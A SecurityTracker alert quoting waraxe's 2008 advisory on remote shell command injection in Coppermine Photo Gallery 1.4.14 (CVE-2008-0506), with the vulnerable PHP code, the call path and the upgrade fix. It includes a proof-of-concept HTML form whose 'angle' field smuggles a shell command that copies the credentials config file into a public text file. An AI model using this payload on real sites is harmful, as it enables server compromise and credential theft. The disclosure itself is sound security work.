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Category:   Application (Multimedia)  >   Coppermine Photo Gallery Vendors:   DEMAR, Gregory
Coppermine Photo Gallery Input Validation Flaw in 'imageObjectIM' Lets Remote Users Execute Arbitrary Commands
SecurityTracker Alert ID:  1019286
SecurityTracker URL:
CVE Reference:   CVE-2008-0506   (Links to External Site)
Updated:  Feb 21 2008
Original Entry Date:  Jan 31 2008
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 1.4.14
Description:   A vulnerability was reported in Coppermine Photo Gallery in an include file. A remote user can execute arbitrary commands on the target system.

The 'include/imageObjectIM.class.php' script does not properly validate user-supplied input in the 'quality', 'angle', and 'clipval' parameters. A remote user can send a specially crafted HTTP POST request to execute arbitrary commands on the target system. The code will run with the privileges of the target web service.

If ImageMagick is configured as the picture processing method (not the default configuration), the system is affected.

Janek Vind "waraxe" reported this vulnerability.

The original advisory is available at:

Impact:   A remote user can execute arbitrary commands on the target system with the privileges of the target web service.
Solution:   The vendor has issued a fixed version (1.4.15).
Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  [waraxe-2008-SA#065] - Remote Shell Command Execution in

[waraxe-2008-SA#065] - Remote Shell Command Execution in Coppermine 1.4.14

Author: Janek Vind "waraxe"
Date: 30. January 2008
Location: Estonia, Tartu

Target software description:

Coppermine Photo Gallery is a multi-purpose fully-featured and integrated web
picture gallery script written in PHP using GD or ImageMagick as image library
with a MySQL backend.

Coppermine Photo Gallery has been tested working well on IIS, Apache 1.3.24
onwards to the latest Apache 2, on Linux, UNIX, OSX, and Win32 systems.

Vulnerabilities discovered

1. Remote Shell Command Execution in "include/imageObjectIM.class.php"

a) ImageMagick must be set as picture processing method.
Default Coppermine setting is GD, so many of the real-world Coppermine
installations are probably not affected with this security issue.

An attacker is able to execute arbitrary shell commands with the privileges 
of the web server process, such as user "nobody","apache" or "www".

Caused by:

Unsanitized user-submitted POST variables "quality", "angle" and "clipval".


Let's look at one of the ImageMagick wrapper functions:

function rotateImage(&$angle){
	$imgFile = escapeshellarg("$this->directory$this->filename");
	$cmd = "{$CONFIG['impath']}convert -quality {$this->quality}
 {$CONFIG['im_options']} -rotate $angle $imgFile $imgFile";
	exec ($cmd, $output, $retval);

As we can see, "$angle" variable is used in command line string without
sanitize. Now who is calling out this function?

"picEditor.php" ~ line 123:
   $newimage = $_POST['newimage'];
   if ($newimage){
      $imgObj = new imageObject($img_dir,$newimage);
      if ($imgObj->imgRes){
          if ($_POST['angle']<>0){
                  $imgObj = $imgObj->rotateImage($_POST['angle']);

So if we deliver proper  $_POST['newimage'] and ($_POST['angle'], then
shell command injection seems to be possible ...
And as it was not bad enough - this script is callable by anyone!
No proper permissions check! So anyone in world can exploit this security
hole and run arbitrary commands against webserver's operating system!!
There are still some mitigating factors, which will decrease danger level
of this security hole.

a) ImageMagic method is not default and most Coppermine real-word
installations are using GD. So this specific security hole has impact only,
if IM is used.

b) $_POST array goes through anti-XSS filter first and this makes exploiting
little bit harder. But this of course can't stop determined attacker.

Proof of concept? This simple html form:

[------------- PoC start --------------------------------------------------]
<form action="" method="post">
<input type="hidden" name="newimage" value="../../images/thumb_zip.jpg">
<input type="hidden" name="quality" value="50">
<input type="hidden" 
name="angle" value="180;cp include/ include/secret.txt;">
<input type="submit" value="Test!">
[------------- PoC end ----------------------------------------------------]

Form parameters must be set as needed. "newimage" must point to existing
image file. "include" directory must be writable for current user.
Result - config file with database credentials will be copied to plaintext
file and sensitive data can be viewed after this by anyone just by pointing
webbrowser to resulting text file.

How to fix:

Download new Coppermine version 1.4.15 as soon as possible!


Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, koko, str0ke
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Janek Vind "waraxe"

Waraxe forum:

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